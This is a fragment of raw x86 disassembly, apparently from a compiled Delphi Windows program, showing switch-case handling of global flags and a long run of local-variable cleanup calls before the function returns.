lea eax, [ebp - 0xa30]
call fcn.00404e18
mov eax, dword [ebp - 0xa30]
xor edx, edx
pop ecx
call fcn.0046d204
jmp case.0x4d506c.10
mov eax, dword [0x531848]
mov eax, dword [eax]
xor edx, edx
call fcn.004b0ae0
jmp case.0x4d506c.10
mov eax, dword [0x53850c]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle case.0x4d506c.10
mov eax, dword [0x531314]
cmp dword [eax], 0
jne 0x4da0c1
call fcn.004cbc00
mov eax, dword [0x531234]
cmp dword [eax], 0
jne 0x4da0d0
call fcn.004ccf20
mov eax, dword [0x5313f4]
cmp dword [eax], 0
jne 0x4da0df
call fcn.004cd67c
movsx eax, word [0x538500]
mov dword [0x538508], eax
mov ax, word [0x538500]
cmp ax, word [0x538502]
jge 0x4da115
movsx eax, word [0x538502]
movsx edx, word [0x538500]
sub eax, edx
call fcn.0040305c
add dword [0x538508], eax
mov dword [0x538510], 0xffffffff
mov byte [0x53052c], 1
jmp case.0x4d506c.105
mov byte [0x53052c], 0
jmp case.0x4d506c.105
mov ax, word [ebx + 0x10]
mov word [0x538500], ax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov word [0x538502], ax
mov al, byte [ebx + 0x14]
and al, 1
mov byte [0x538504], al
lea edx, [ebp - 0xa38]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0xa38]
mov eax, dword [0x53850c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x53850c]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne case.0x4d506c.10
mov byte [0x53052c], 0
jmp case.0x4d506c.10
cmp byte [0x53052c], 0
je 0x4da198
mov dword [ebp - 0x48], 1
jmp 0x4da19d
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc5
mov eax, dword [ebp - 0x28]
call fcn.004d3670
xor eax, eax
mov dword [0x52fed8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4da46f
lea eax, [ebp - 0xa38]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0xa30]
call fcn.00404c78
lea eax, [ebp - 0xa2c]
call fcn.0040455c
lea eax, [ebp - 0xa28]
call fcn.00404c78
lea eax, [ebp - 0xa24]
call fcn.0040455c
lea eax, [ebp - 0xa20]
call fcn.00404c78
lea eax, [ebp - 0xa1c]
call fcn.0040455c
lea eax, [ebp - 0xa18]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0xa0c]
call fcn.0040455c
lea eax, [ebp - 0xa08]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9fc]
call fcn.0040455c
lea eax, [ebp - 0x9f8]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9ec]
mov edx, 5
call fcn.00404580
lea eax, [ebp - 0x9d8]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9cc]
call fcn.0040455c
lea eax, [ebp - 0x9c8]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x9c0]
call fcn.0040455c
lea eax, [ebp - 0x9bc]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9b0]
call fcn.0040455c
lea eax, [ebp - 0x9ac]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9a0]
call fcn.0040455c
lea eax, [ebp - 0x99c]
call fcn.00404c78
lea eax, [ebp - 0x998]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x990]
call fcn.00404c78
lea eax, [ebp - 0x98c]
mov edx, 0xb
call fcn.00404580
lea eax, [ebp - 0x960]
call fcn.00404c78
lea eax, [ebp - 0x95c]
mov edx, 6
call fcn.00404580
lea eax, [ebp - 0x944]
call fcn.00404c78
lea eax, [ebp - 0x940]
mov edx, 9
call fcn.00404580
lea eax, [ebp - 0x91c]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x914]
mov edx, 9
call fcn.00404580
lea eax, [ebp - 0x8f0]
call fcn.00404c78
lea eax, [ebp - 0x8ec]
mov edx, 4
call fcn.00404580
lea eax, [ebp - 0x8dc]
call fcn.00404c78
lea eax, [ebp - 0x8d8]
call fcn.0040455c
lea eax, [ebp - 0x8d4]
call fcn.00404c78
lea eax, [ebp - 0x8d0]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x8c4]
call fcn.00404c78
lea eax, [ebp - 0x8c0]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x19]
mov edx, dword [0x4e8f90]
call fcn.004052d0
lea eax, [ebp - 0xf0]
mov edx, 7
call fcn.00404580
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0xc0]
call fcn.0040455c
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x9c]
call fcn.0040455c
lea eax, [ebp - 0x88]
call fcn.0040455c
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x6c]
call fcn.0040455c
lea eax, [ebp - 0x64]
mov edx, 4
call fcn.00404580
lea eax, [ebp - 0x3c]
call fcn.0040455c
ret